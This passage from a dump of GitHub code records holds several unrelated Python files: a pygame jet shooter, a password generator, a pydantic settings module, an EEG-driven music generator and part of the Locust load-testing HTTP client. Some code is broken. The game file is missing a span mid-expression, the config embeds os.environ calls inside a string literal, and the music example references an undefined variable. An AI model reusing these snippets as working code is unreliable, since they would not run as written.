= 1\n k = 0.1\n for iter in range(1000):\n if dst >= 10 ** -5:\n wi = wj\n wj = np.array([0.0, 0.0])\n summ_w1 = 0\n summ_w2 = 0\n for i in range(total_rows):\n summ_w1 += y_2[i] * X_2.values[i][0] * (\n 1 - 1 / (1 + np.exp(-y_2[i] * (wi[0] * X_2.values[i][0] + wi[1] * X_2.values[i][1]))))\n summ_w2 += y_2[i] * X_2.values[i][1] * (\n 1 - 1 / (1 + np.exp(-y_2[i] * (wi[0] * X_2.values[i][0] + wi[1] * X_2.values[i][1]))))\n wj[0] = wi[0] + (k / total_rows) * summ_w1 - k * C * wi[0]\n wj[1] = wi[1] + (k / total_rows) * summ_w2 - k * C * wi[1]\n dst = distance.euclidean(wi, wj)\n else:\n break\n print('Iter = {}'.format(iter))\n for i in range(total_rows):\n a = 1 / (1 + np.exp(-wj[0] * X_2.values[i][0] - wj[1] * X_2.values[i][1]))\n y_predict_list.append(a)\n y_predict = np.array(y_predict_list)\n return y_predict\n\nroc_without_c = roc_auc_score(y, gradient_descent(X, y, C = 0.0))\nroc_with_c = roc_auc_score(y, gradient_descent(X, y, C = 10.0))\nprint(roc_without_c.round(3))\nprint(roc_with_c.round(3))\n\n\n\n\n\n\n\n\n","repo_name":"snowowwwl/Coursera_MLIntro_Yandex","sub_path":"W3_task3_logicregression/W3_task3_logicregression.py","file_name":"W3_task3_logicregression.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4692356181","text":"import os\nimport json\nfrom typing import Any, Union, List\n\nfrom pydantic import PostgresDsn, ValidationError, Field, validator, AnyHttpUrl\nfrom pydantic_settings import BaseSettings\n\nfrom src.constants import Environment\n\ncors_origin = os.environ.get(\"CORS_ORIGINS\", \"\").split(\",\")\nenv_name = os.environ.get(\"ENV_NAME\", \"PRODUCTION\")\n\nclass Config(BaseSettings):\n DATABASE_URL: PostgresDsn\n SITE_DOMAIN: str = \"myapp.com\"\n ENVIRONMENT: Environment = Environment[env_name]\n CORS_ORIGINS: Union[str, List[AnyHttpUrl]] = Field(..., env=\"CORS_ORIGINS\")\n CORS_HEADERS: list[str] = [\"*\"]\n APP_VERSION: str = \"1\"\n\n @validator(\"CORS_ORIGINS\", pre=True)\n def _assemble_cors_origins(cls, cors_origins):\n if isinstance(cors_origins, str):\n return [item.strip() for item in cors_origins.split(\",\")]\n return cors_origins\n\n# database = PostgresDsn(\n# scheme=\"postgresql\",\n# username=os.environ.get(\"DB_NAME\"),\n# password=os.environ.get(\"PASSWORD\"),\n# host=os.environ.get(\"HOST\"),\n# # path=cls.db,\n# )\ntry:\n settings = Config(\n DATABASE_URL='postgres://os.environ.get(\"DB_NAME\"):os.environ.get(\"PASSWORD\")@os.environ.get(\"HOST\"):5432'\n )\nexcept ValidationError as e:\n print(e)\n\n\napp_configs: dict[str, Any] = {\"title\": \"Twinkle API\", \"debug\": True}\nif settings.ENVIRONMENT.is_deployed:\n app_configs[\"root_path\"] = f\"/v{settings.APP_VERSION}\"\n\nif not settings.ENVIRONMENT.is_debug:\n app_configs[\"openapi_url\"] = None # hide docs\n","repo_name":"gbolly/colander","sub_path":"backend/src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16658584555","text":" # IMPORTS\nimport pygame\nimport random\nimport json\nimport sys\n ## IMPORTS\n\n # GAME SCREEN SIZE\npygame.init()\nscreen_w=1920 #1366\nscreen_h=1080 #768\n ## GAME SCREEN SIZE\n \n # COLORS\nblack=(0, 0 ,0)\nwhite=(222, 222, 222)\nred=(180, 0, 0)\nblue=(0, 60, 255)\n ## COLORS\n \n # SET WINDOW TO FULLSCREEN, SET TITLE AND CLOCK VARIABLE\nscreen=pygame.display.set_mode([screen_w,screen_h],pygame.FULLSCREEN)\npygame.display.set_caption('Flight Fighter')\nclock=pygame.time.Clock()\n ## SET WINDOW TO FULLSCREEN, SET TITLE AND CLOCK VARIABLE\n \n # SET FONT SIZE\narial_25 = pygame.font.SysFont('arial',28)\n ## SET FONT SIZE\n \n # SET ENEMY/SNOW EVENT TIMERS\nENEMYSPAWN = pygame.USEREVENT + 1\npygame.time.set_timer(ENEMYSPAWN, 550)\n ## SET ENEMY/SNOW EVENT TIMERS\nSNOWSPAWN = pygame.USEREVENT + 2\npygame.time.set_timer(SNOWSPAWN, 500)\n \n # INNERGAME BACKGROUND VARIABLES\nbg1 = pygame.image.load('./images/bg1.png').convert_alpha()\nbg1 = pygame.transform.scale(bg1,(screen_w,screen_h))\nbg2 = pygame.image.load('./images/bg2.png').convert_alpha()\nbg2 = pygame.transform.scale(bg2,(screen_w,screen_h))\n ## INNERGAME BACKGROUND VARIABLES\n \n # LOCATION VARIABLES\nb1x = b1y = 0\nb2x , b2y = 0,-screen_h\n ## LOCATION VARIABLES\n \n # SPLASH SCREEN VARIABLES\nop1 = pygame.image.load('./images/intro.png').convert_alpha()\nop2 = pygame.image.load('./images/me.png').convert_alpha()\nop3 = pygame.image.load('./images/fighters.png').convert_alpha()\n ## SPLASH SCREEN VARIABLES\n \n # SOUND VARIABLES\nstart_sound = pygame.mixer.Sound('./audio/Black Ops 2 - Adrenaline.mp3')\nstart_sound.set_volume(.3)\ngameMusic = pygame.mixer.Sound('./audio/Black Ops 2 - Adrenaline.mp3')\ngameMusic.set_volume(.3)\ngameeasy = pygame.mixer.Sound('./audio/Counter Strike Main Menu.mp3')\ngameeasy.set_volume(.7)\ngamehard = pygame.mixer.Sound('./audio/Boss Fight.mp3')\ngamehard.set_volume(.7)\ngameover_music = pygame.mixer.Sound('./audio/Counter Strike Main Menu.mp3')\ngameover_music.set_volume(.3)\nhaha = pygame.mixer.Sound('./audio/haha.wav')\nhaha.set_volume(.5)\nexpl_sound = pygame.mixer.Sound('./audio/expl.wav')\nexpl_sound.set_volume(.3)\nimpact_sound = pygame.mixer.Sound('./audio/thud.wav')\nimpact_sound.set_volume(.4)\npowerup = pygame.mixer.Sound('./audio/powerup.wav')\ngunshot = pygame.mixer.Sound('./audio/gunshot.wav')\ngunshot.set_volume(.4)\nbomb = pygame.mixer.Sound('./audio/bomb.wav')\nshotgun = pygame.mixer.Sound('./audio/shotgun.wav')\nshotgun.set_volume(.3)\n ## SOUND VARIABLES\n \n # SETS GAME TRACK (TRACKS GO FROM 1-10)\ngtrack = pygame.mixer.Channel(5)\n # SETS PRIMARY INNERGAME STARTING MUSIC TO 'SANDSTORM - DARUDE'\ngametrack = gameeasy\n \n # DEFAULT SOUND SETTINGS\nmuted = False\nmusic_change = True\n ## DEFAULT SOUND SETTINGS\n \n # SETS CLOUD VARIABLES\ncloud1=pygame.image.load('./images/cloud (1).png').convert_alpha()\ncloud2=pygame.image.load('./images/cloud (2).png').convert_alpha()\ncloud3=pygame.image.load('./images/cloud (3).png').convert_alpha()\ncloud4=pygame.image.load('./images/cloud (4).png').convert_alpha()\n ## SETS CLOUD VARIABLES\n \n # MORE LOCATION VARIABLES\nc1x,c1y = 0,-100\nc2x,c2y = 200,350\nc3x,c3y = 600,100\nc4x,c4y = 700,600\n ## MORE LOCATION VARIABLES\n \n # SETS PARTICLES TO SPRITE GROUPS\nall_snow = pygame.sprite.Group()\n\nall_sprites=pygame.sprite.Group()\n\nall_blocks=pygame.sprite.Group()\n\nall_bullets=pygame.sprite.Group()\n\nall_ebullets = pygame.sprite.Group()\n ## SETS PARTICLES TO SPRITE GROUPS\n\n ## HIGH SCORE\nHIGH_SCORE_FILE = \"high_score.json\"\n\ndef load_high_score():\n try:\n with open(HIGH_SCORE_FILE) as f:\n return json.load(f)\n except:\n return 0\n \ndef save_high_score(score):\n with open(HIGH_SCORE_FILE, \"w\") as f:\n json.dump(score, f)\n ## HIGH SCORE\n \n # UPGRADE ANIMATION\nupgrade_anim = []\nfor i in range(1,10):\n filename = './images/Picture{}.png'.format(i)\n img = pygame.image.load(filename).convert()\n img.set_colorkey(black)\n img = pygame.transform.scale(img,(135,135))\n upgrade_anim.append(img)\n\nclass Upgrade_anim(pygame.sprite.Sprite):\n def __init__(self,center):\n pygame.sprite.Sprite.__init__(self)\n self.image = upgrade_anim[0]\n self.rect = self.image.get_rect()\n self.rect.center = center\n self.frame = 0\n self.last_update = pygame.time.get_ticks()\n self.frame_rate = 50\n ## UPGRADE ANIMATION\n \n # UPGRADE SYNC ?\n def update(self):\n self.rect.center = player.rect.center\n now = pygame.time.get_ticks()\n if now - self.last_update > self.frame_rate:\n self.last_update = now\n self.frame +=1\n if self.frame == len(upgrade_anim):\n self.kill()\n else:\n center = self.rect.center\n self.image = upgrade_anim[self.frame]\n self.rect = self.image.get_rect()\n self.rect.center = center\n ## UPGRADE SYNC ?\n \n # EXPLOSION ANIMATION SIZES\nexplosion_anim = {}\nexplosion_anim['lg'] = []\nexplosion_anim['sm'] = []\nexplosion_anim['Xlg'] = []\n ## EXPLOSION ANIMATION SIZES\n \n # EXPLOSION ANIM\nfor i in range(9):\n filename = './images/regularExplosion0{}.png'.format(i)\n img = pygame.image.load(filename).convert()\n img.set_colorkey(black)\n img_Xlg = pygame.transform.scale(img, (210,210))\n explosion_anim['Xlg'].append(img_Xlg)\n img_lg = pygame.transform.scale(img, (95, 95))\n explosion_anim['lg'].append(img_lg)\n img_sm = pygame.transform.scale(img, (32, 32))\n explosion_anim['sm'].append(img_sm)\n ## EXPLOSION ANIM\n \n # EXPLOSION SIZE AND LOCATION\nclass Explosion(pygame.sprite.Sprite):\n def __init__(self, center, size):\n pygame.sprite.Sprite.__init__(self)\n self.size = size\n self.image = explosion_anim[self.size][0]\n self.rect = self.image.get_rect()\n self.rect.center = center\n self.frame = 0\n self.last_update = pygame.time.get_ticks()\n self.frame_rate = 50\n ## EXPLOSION SIZE AND LOCATION\n \n # EXPLOSION SYNC ?\n def update(self):\n now = pygame.time.get_ticks()\n if now - self.last_update > self.frame_rate:\n self.last_update = now\n self.frame += 1\n if self.frame == len(explosion_anim[self.size]):\n self.kill()\n else:\n center = self.rect.center\n self.image = explosion_anim[self.size][self.frame]\n self.rect = self.image.get_rect()\n self.rect.center = center\n ## EXPLOSION SYNC ?\n \n # SPRITE BLOCK STUFF \nclass Block(pygame.sprite.Sprite):\n def __init__(self,hp,speed):\n super().__init__()\n self.image = pygame.image.load('./images/e_jet.png').convert_alpha()\n self.rect=self.image.get_rect()\n self.radius = (self.rect.centerx - self.rect.x)\n self.hp= hp\n self.speed = speed\n self.birth = pygame.time.get_ticks()\n self.shoot = 1400\n\n # SPRITE BLOCKS SYNC\n def update(self):\n self.rect.move_ip(0,self.speed)\n if self.rect.top>screen_h:\n self.kill()\n if pygame.time.get_ticks() - self.birth > self.shoot:\n if not muted: shotgun.play()\n ebullet = Bullet(1,15,'ejet')\n ebullet.rect.centerx=self.rect.centerx\n ebullet.rect.centery=self.rect.centery\n all_ebullets.add(ebullet)\n all_sprites.add(ebullet)\n self.birth = pygame.time.get_ticks()\n\n # CLASS FOR SNOW IN MENU\nclass Snow(pygame.sprite.Sprite):\n def __init__(self):\n super().__init__()\n self.image = pygame.image.load('./images/snow.png').convert_alpha()\n self.rect = self.image.get_rect()\n self.speedy = random.randrange(1,5)\n self.speedx = random.randrange(-2,2)\n \n # SNOW SPRITE SYNC\n def update(self):\n self.rect.centery += self.speedy\n self.rect.centerx += self.speedx\n if self.rect.right>screen_w or self.rect.left<0 or self.rect.bottom>screen_h:\n self.kill()\n \n # PLAYER SPRITE CLASS\nclass Player(pygame.sprite.Sprite):\n def __init__(self,hp):\n super().__init__()\n self.image = pygame.image.load('./images/jet.png').convert_alpha()\n self.rect=self.image.get_rect()\n self.radius = (self.rect.centerx - self.rect.x)\n self.hp = hp\n self.speed = 8\n self.shoot_delay = 95\n self.last_shot = pygame.time.get_ticks()\n self.machinegun = False\n \n # PLAYER SPRITE SYNC\n def update(self):\n key = pygame.mouse.get_pressed()\n mouse_pos=pygame.mouse.get_pos()\n \n self.rect.centerx=mouse_pos[0]\n self.rect.centery=mouse_pos[1]\n\n # MACHINE GUN LMAO\n if self.machinegun:\n if key[0] == 1:\n if pygame.time.get_ticks() - self.last_shot > self.shoot_delay:\n if not muted:\n gunshot.play()\n self.last_shot = pygame.time.get_ticks()\n bullet=Bullet(-1,50,'jet')\n bullet.rect.centerx=player.rect.centerx\n bullet.rect.centery=player.rect.centery\n all_sprites.add(bullet)\n all_bullets.add(bullet) \n\n # BULLET SPRITE CLASS\nclass Bullet(pygame.sprite.Sprite):\n def __init__(self,direction,speed,btype):\n super().__init__()\n self.type = btype\n if self.type == 'jet':\n if player.machinegun:\n self.image = pygame.image.load('./images/bullet2.png').convert_alpha()\n else:\n self.image=pygame.image.load('./images/bullet.png').convert_alpha()\n if self.type == 'ejet':\n self.image = pygame.image.load('./images/ebullet.png').convert_alpha()\n self.rect=self.image.get_rect()\n self.direction = direction\n self.speed = speed\n \n # BULLET SPRITE SYNC\n def update(self):\n self.rect.y+=(self.direction)*self.speed\n if self.rect.bottom<0:\n self.kill()\n if self.rect.top>screen_h:\n self.kill()\n\n # CLASS FOR IMAGES\nclass Image(pygame.sprite.Sprite):\n def __init__(self,image,center):\n super().__init__()\n self.image = image.convert_alpha()\n self.rect = self.image.get_rect()\n self.rect.center = center\n\nplayer=Player(6)\nall_sprites.add(player)\nscore = 0\nblockspeed1 = 3\nblockspeed2 = 6\nbarHP = 3\nupgrade = 0\nincrement = 10\n\n # CLASS FOR BUTTON FUNCTIONALITY\ndef button(msg,x,y,w,h,ap,ic,ac,action = None):\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n if x+w>mouse[0]>x and y+h>mouse[1]>y:\n pygame.draw.rect(screen,ac,(x-ap,y-ap,w+2*ap,h+2*ap))\n if click[0] == 1 and action != None:\n action()\n \n else:\n pygame.draw.rect(screen,ic,(x,y,w,h))\n txt = arial_25.render(msg,True,white)\n txt_rect = txt.get_rect()\n txt_rect.center = ((x+w/2),(y+h/2))\n screen.blit(txt,txt_rect)\n\n # MUTE/UNMUTE FUNCTION\ndef mute():\n global muted\n pygame.mixer.pause() # pause\n muted = True\ndef unmute():\n global muted\n pygame.mixer.unpause() # unpause\n muted = False\n\n # SPLASH SCREEN FUNCTION\ndef op():\n start = pygame.time.get_ticks()\n cinematic = True\n if not muted: start_sound.play(-1)\n while cinematic:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if pygame.time.get_ticks()-start<6500:\n screen.blit(op1,(0,0))\n elif 6500 score >= 10:\n block.image = pygame.image.load('./images/e_jet2.png').convert_alpha()\n block.rect = block.image.get_rect()\n block.radius = (block.rect.centerx - block.rect.x)\n block.hp = 5\n \n if 80 > score >= 40:\n expl_large = True\n block.image = pygame.image.load('./images/e_jet3.png').convert_alpha()\n block.rect = block.image.get_rect()\n block.radius = (block.rect.centerx - block.rect.x)-55\n block.hp = 10 \n block.speed = random.randint(3,6)\n pygame.time.set_timer(ENEMYSPAWN,1500)\n block.shoot = 800\n \n if score >= 80:\n if music_change:\n pygame.mixer.fadeout(1000)\n if not muted:\n haha.play()\n gametrack = gamehard\n gtrack.play(gametrack)\n music_change = False\n expl_large = True\n block.image = pygame.image.load('./images/e_jet4.png').convert_alpha()\n block.rect = block.image.get_rect()\n block.radius = (block.rect.centerx - block.rect.x)-55\n block.hp = 10 \n block.speed = random.randint(3,6)\n pygame.time.set_timer(ENEMYSPAWN,1500)\n block.shoot = 710\n\n block.rect.centerx = random.randrange(screen_w)\n block.rect.centery = random.randint(-140,-90)\n all_blocks.add(block)\n all_sprites.add(block)\n \n elif event.type==pygame.MOUSEBUTTONDOWN and event.button == 1 and not player.machinegun:\n if not muted: gunshot.play()\n bullet=Bullet(-1,50,'jet')\n bullet.rect.centerx=player.rect.centerx\n bullet.rect.centery=player.rect.centery\n all_sprites.add(bullet)\n all_bullets.add(bullet)\n\n all_sprites.update()\n \n # BULLET CONTACT HANDLING \n for bullet in all_bullets:\n block_hit_list=pygame.sprite.spritecollide(bullet,all_blocks,False,pygame.sprite.collide_circle)\n for block in block_hit_list:\n if not muted: impact_sound.play()\n expl = Explosion(bullet.rect.center,'sm')\n all_sprites.add(expl)\n block.hp -= 1\n bullet.kill()\n if block.hp<=0:\n pygame.sprite.spritecollide(bullet, all_blocks, True)\n if not muted: expl_sound.play()\n if expl_large:\n expl = Explosion(block.rect.center,'Xlg')\n else:\n expl = Explosion(block.rect.center,'lg')\n all_sprites.add(expl)\n bullet.kill()\n if expl_large: score +=2\n else: score+=1\n\n for ebullet in all_ebullets:\n ebullet_hit_list = pygame.sprite.spritecollide(player,all_ebullets,False,pygame.sprite.collide_circle)\n for ebullet in ebullet_hit_list:\n if not muted: impact_sound.play()\n expl = Explosion(player.rect.center,'sm')\n all_sprites.add(expl)\n player.hp -= 1\n ebullet.kill()\n if player.hp <= 0:\n if not muted: bomb.play()\n interval = 200\n expl = Explosion(player.rect.center,'lg')\n all_sprites.add(expl)\n timi = pygame.time.get_ticks()\n kill = True\n\n for bullet in all_bullets:\n bullet_ebullet_hits = pygame.sprite.spritecollide(bullet,all_ebullets,True)\n for bullet in bullet_ebullet_hits:\n expl = Explosion(bullet.rect.center,'sm')\n all_sprites.add(expl)\n bullet.kill()\n\n for blocks in all_blocks:\n jet_block_hit = pygame.sprite.spritecollide(player,all_blocks,True,pygame.sprite.collide_circle)\n for block in jet_block_hit:\n if not muted: expl_sound.play()\n if expl_large: expl = Explosion(block.rect.center,'Xlg')\n else: expl = Explosion(block.rect.center,'lg')\n all_sprites.add(expl)\n if expl_large:\n player.hp -= 2\n else:\n player.hp -= 1\n if player.hp <= 0:\n if not muted: bomb.play()\n interval = 200\n expl = Explosion(player.rect.center,'lg')\n all_sprites.add(expl)\n timi = pygame.time.get_ticks()\n kill = True\n \n\n # KILL FUNCTION\n if kill == True:\n \n if pygame.time.get_ticks() - timi > interval:\n expl = Explosion(player.rect.center,'lg')\n all_sprites.add(expl)\n interval += 200\n \n if pygame.time.get_ticks() - timi > 1000:\n kill = False\n player.kill()\n crash = True\n pygame.mouse.set_visible(1)\n gameover()\n\n screen.blit(bg1,(b1x,b1y))\n screen.blit(bg2,(b2x,b2y))\n\n b1y += 2\n b2y += 2\n \n if b1y > screen_h : b1y = -screen_h\n if b2y > screen_h : b2y = -screen_h\n\n screen.blit(cloud1,(c1x,c1y))\n screen.blit(cloud2,(c2x,c2y))\n screen.blit(cloud3,(c3x,c3y))\n screen.blit(cloud4,(c4x,c4y))\n\n c1x+=1\n c2x+=3\n c3x+=4\n c4x+=2\n\n if c1x>screen_w+10: c1x = -700 \n if c2x>screen_w+10: c2x = -700\n if c3x>screen_w+10: c3x = -700\n if c4x>screen_w+10: c4x = -700\n \n \n all_snow.draw(screen) \n all_sprites.draw(screen)\n\n\n # HP BAR \n if g_start:\n if not barHP>=player.hp*67:\n barHP += 7\n else:\n g_start = False\n else:\n if not barHP<=player.hp*67:\n barHP -= 5\n if not barHP>player.hp*67:\n barHP += 5\n if player.hp<=2:\n hp_color = red\n if barHP<=3:\n barHP = 3\n pygame.draw.rect(screen,hp_color,(10,10,barHP,10))\n hp_surf = arial_25.render('Health',True,white)\n screen.blit(hp_surf,(10,25))\n\n # SCORE INGAME\n s_surf = arial_25.render(\"Score: \"+str(score),True,white)\n screen.blit(s_surf,(10,60))\n s_surf = arial_25.render(\"High Score: \"+str(high_score),True,white)\n screen.blit(s_surf,(10,95))\n\n if score > high_score:\n high_score = score\n save_high_score(high_score)\n\n if up:\n if smg_not:\n upg_images.add(smg)\n if pygame.time.get_ticks()-timer < 2420:\n hp_color = (191,191,191)\n upg_images.draw(screen)\n else:\n hp_color = blue\n up = False\n smg_not = False\n upg_images.remove(smg)\n \n clock.tick(60)\n pygame.display.update()\n pygame.mouse.set_visible(1)\nop()\nmenu()\n\npygame.quit()\n","repo_name":"Svxy/Flight-Fighters","sub_path":"fighters.py","file_name":"fighters.py","file_ext":"py","file_size_in_byte":30964,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"31201536938","text":"#!/usr/bin/python3\n\nfrom string import ascii_lowercase,ascii_uppercase\nfrom random import shuffle,choices\nfrom os import system\n\nsystem(\"clear\"),print(\"\"\"##### Simple and Powerful Password Generator #####\n\t ## By: Abd Almoen Arafa ##\n\t ## Age: 15 \t ##\\n\"\"\")\n\ndef content():\n\tl_l,l_u,nums,syms=ascii_lowercase,ascii_uppercase,\"0123456789\",\"!@#$%^&*()_+-=[]{};:'|\\/,.<>?\"\n\tlist=[l_l,l_u,nums,syms]\n\tshuffle(list)\n\tall=list[0]+list[1]+list[2]+list[3]\n\ttry:\n\t\task=int(input(\"How many elements: \"))\n\t\tprint(\"\\n\",\"\\t\"*3,\"#\"*31,\"\\n\")\n\t\tran=choices(all,k=ask)\n\t\tList=\"\".join(ran)\n\t\tprint(List),print(\"\\n\",\"\\t\"*3,\"#\"*31,\"\\n\")\n\texcept ValueError:\tprint(\"Sorry,You have to write just a numbers here\\n\"),content()\n\texcept KeyboardInterrupt:\tprint(\"\\nBye ;)\\n\")\n\ncontent()\n#By Abd Almoen Arafa\n#I'm 15 years old\n","repo_name":"0Arafa/0.1ArafaPassGen","sub_path":"0.1ArafaPassGen.py","file_name":"0.1ArafaPassGen.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15018096036","text":"import torch\nimport torchaudio\nfrom transformers import AutoModel\nimport torchaudio.transforms as T\nimport numpy as np\nimport pandas as pd\n\nclass MusicGenerator:\n def __init__(self, mert_model_path, eeg_model_path, music_gen_model_path, feature_extractor, resample_rate):\n self.mert_model = AutoModel.from_pretrained(mert_model_path, trust_remote_code=True)\n self.eeg_model = AutoModel.from_pretrained(eeg_model_path, trust_remote_code=True)\n self.music_gen_model = AutoModel.from_pretrained(music_gen_model_path, trust_remote_code=True)\n self.feature_extractor = feature_extractor\n self.resample_rate = resample_rate\n self.aggregator = torch.nn.Conv1d(in_channels=13, out_channels=1, kernel_size=1)\n self.data_sheet = pd.DataFrame()\n\n def preprocess_audio(self, audio_path):\n waveform, sampling_rate = torchaudio.load(audio_path)\n if sampling_rate != self.resample_rate:\n resampler = T.Resample(sampling_rate, self.resample_rate)\n waveform = resampler(waveform)\n return waveform\n\n def analyze_music(self, audio_waveform):\n inputs = self.feature_extractor(audio_waveform, sampling_rate=self.resample_rate, return_tensors=\"pt\")\n with torch.no_grad():\n outputs = self.mert_model(**inputs, output_hidden_states=True)\n return outputs\n\n def extract_features(self, audio_waveform, eeg_data):\n # Analyze music\n music_outputs = self.analyze_music(audio_waveform)\n\n # EEG Model predictions\n eeg_outputs = self.eeg_model(eeg_data) # Implement EEG model prediction\n\n # Combine features\n combined_features = self.combine_features(music_outputs, eeg_outputs)\n return combined_features\n\n def combine_features(self, music_outputs, eeg_outputs):\n # Extract relevant information from music outputs\n music_features = music_outputs.last_hidden_state.mean(dim=1) # Example aggregation\n\n # EEG outputs processing\n eeg_features = eeg_outputs.last_hidden_state.mean(dim=1) # Example aggregation\n\n # Combine features with appropriate weighting and normalization\n combined_features = torch.cat((music_features, eeg_features), dim=1)\n combined_features = self.normalize_features(combined_features)\n\n return combined_features\n\n def normalize_features(self, features):\n # Normalize features for consistency\n return (features - features.mean(dim=0)) / (features.std(dim=0) + 1e-5)\n\n def generate_music(self, combined_features):\n # Transform features for music generation model input\n input_for_generation = self.prepare_input_for_generation(combined_features)\n\n # Generate music using the model\n with torch.no_grad():\n generated_music = self.music_gen_model.generate(input_for_generation)\n\n return generated_music\n\n def prepare_input_for_generation(self, combined_features):\n # Prepare and transform the combined features for the music generation model\n # This may involve specific transformations based on the model's requirements\n return combined_features # Placeholder\n\n def continuous_learning_cycle(self, audio_path, eeg_data):\n # Preprocess audio\n audio_waveform = self.preprocess_audio(audio_path)\n\n # Feature extraction\n combined_features = self.extract_features(audio_waveform, eeg_data)\n\n # Generate music\n generated_music = self.generate_music(combined_features)\n\n # Update data sheet\n self.update_data_sheet(combined_features)\n\n return generated_music\n\n def update_data_sheet(self, features):\n # Update the data sheet with new features for continuous learning\n self.data_sheet = self.data_sheet.append(features, ignore_index=True)\n\n# Example usage\nfeature_extractor = None # Define or load your feature extractor\nmusic_gen = MusicGenerator(\"path_to_mert_model\", \"path_to_eeg_model\", \"path_to_music_gen_model\", feature_extractor, 24000)\ngenerated_music = music_gen.continuous_learning_cycle(\"path_to_audio.wav\", eeg_data)","repo_name":"HawkSP/DedAI","sub_path":"Music_Recommendation_and_Generation/music_generator.py","file_name":"music_generator.py","file_ext":"py","file_size_in_byte":4125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39105173884","text":"import sys\nimport os\nsys.setrecursionlimit(2500)\n\nfilename = 'input'\n\nwith open(filename, 'r') as f:\n content = [x.strip() for x in f.readlines()]\n\ncommands = [(x.split(' ')[0], int(x.split(' ')[1])) for x in content]\n\nthe_divs = {\n 'forward': [],\n 'up': [],\n 'down': []\n}\nfor command, distance in commands:\n the_divs[command].append(f'
    ')\n\nwith open('index-template.html', 'r') as f:\n content = f.read()\n\nkeys = the_divs.keys()\nfor key in keys:\n inner_divs = '\\n'.join(the_divs[key])\n full_div = f'
    {inner_divs}
    '\n the_divs[key] = full_div\n\ndive_div = the_divs['forward'] + '\\n' + the_divs['down']\nsurface_div = the_divs['forward'] + '\\n' + the_divs['up']\nupdated_content = content.replace('[[DIVE-DATA]]', dive_div)\nupdated_content = updated_content.replace('[[SURFACE-DATA]]', surface_div)\n\nwith open('index.html', 'w') as f:\n f.write(updated_content)\n\ngenerated_css = []\n\nwith open('helper-vars.css', 'w') as f:\n for idx in range(0, 100):\n print('div[data-distance=\"{idx}\"] {{ --distance: {idx}px; --distance-as-string: \"{idx}\" }}'.format(idx=idx), file=f)\n","repo_name":"CatEars/advent-of-code-but-with-html-css-and-svg","sub_path":"2/html-css/generate-data.py","file_name":"generate-data.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11822819822","text":"from __future__ import absolute_import\n\nimport chardet\nimport re\nimport six\nimport socket\nfrom base64 import b64encode\nfrom six.moves.urllib.parse import urlparse, urlunparse\nfrom ssl import SSLError\nfrom timeit import default_timer\n\nif six.PY2:\n from cookielib import CookieJar\n class ConnectionRefusedError(Exception):\n # ConnectionRefusedError doesn't exist in python 2, so we'll \n # define a dummy class to avoid a NameError\n pass\nelse:\n from http.cookiejar import CookieJar\n unicode = str\n\nfrom gevent.timeout import Timeout\nfrom geventhttpclient.useragent import UserAgent, CompatRequest, CompatResponse, ConnectionError\nfrom geventhttpclient.response import HTTPConnectionClosed\n\nfrom locust import events\nfrom locust.core import Locust\nfrom locust.exception import LocustError, CatchResponseError, ResponseError\n\n\n# Monkey patch geventhttpclient.useragent.CompatRequest so that Cookiejar works with Python >= 3.3\n# More info: https://github.com/requests/requests/pull/871\nCompatRequest.unverifiable = False\n\n# Regexp for checking if an absolute URL was specified\nabsolute_http_url_regexp = re.compile(r\"^https?://\", re.I)\n\n# List of exceptions that can be raised by geventhttpclient when sending an HTTP request, \n# and that should result in a Locust failure\nFAILURE_EXCEPTIONS = (ConnectionError, ConnectionRefusedError, socket.error, \\\n SSLError, Timeout, HTTPConnectionClosed)\n\n\ndef _construct_basic_auth_str(username, password):\n \"\"\"Construct Authorization header value to be used in HTTP Basic Auth\"\"\"\n if isinstance(username, str):\n username = username.encode('latin1')\n if isinstance(password, str):\n password = password.encode('latin1')\n return 'Basic ' + b64encode(b':'.join((username, password))).strip().decode(\"ascii\")\n\n\nclass FastHttpLocust(Locust):\n \"\"\"\n Represents an HTTP \"user\" which is to be hatched and attack the system that is to be load tested.\n \n The behaviour of this user is defined by the task_set attribute, which should point to a \n :py:class:`TaskSet ` class.\n \n This class creates a *client* attribute on instantiation which is an HTTP client with support \n for keeping a user session between requests.\n \"\"\"\n \n client = None\n \"\"\"\n Instance of HttpSession that is created upon instantiation of Locust. \n The client support cookies, and therefore keeps the session between HTTP requests.\n \"\"\"\n \n def __init__(self):\n super(FastHttpLocust, self).__init__()\n if self.host is None:\n raise LocustError(\"You must specify the base host. Either in the host attribute in the Locust class, or on the command line using the --host option.\")\n if not re.match(r\"^https?://[^/]+$\", self.host, re.I):\n raise LocustError(\"Invalid host (`%s`). The specified host string must be a base URL without a trailing slash. E.g. http://example.org\" % self.host)\n \n self.client = FastHttpSession(base_url=self.host)\n\n\nclass FastHttpSession(object):\n auth_header = None\n \n def __init__(self, base_url, **kwargs):\n self.base_url = base_url\n self.cookiejar = CookieJar()\n self.client = LocustUserAgent(max_retries=1, cookiejar=self.cookiejar, **kwargs)\n \n # Check for basic authentication\n parsed_url = urlparse(self.base_url)\n if parsed_url.username and parsed_url.password:\n netloc = parsed_url.hostname\n if parsed_url.port:\n netloc += \":%d\" % parsed_url.port\n \n # remove username and password from the base_url\n self.base_url = urlunparse((parsed_url.scheme, netloc, parsed_url.path, parsed_url.params, parsed_url.query, parsed_url.fragment))\n # store authentication header (we construct this by using _basic_auth_str() function from requests.auth)\n self.auth_header = _construct_basic_auth_str(parsed_url.username, parsed_url.password)\n \n def _build_url(self, path):\n \"\"\" prepend url with hostname unless it's already an absolute URL \"\"\"\n if absolute_http_url_regexp.match(path):\n return path\n else:\n return \"%s%s\" % (self.base_url, path)\n \n def _send_request_safe_mode(self, method, url, **kwargs):\n \"\"\"\n Send an HTTP request, and catch any exception that might occur due to either \n connection problems, or 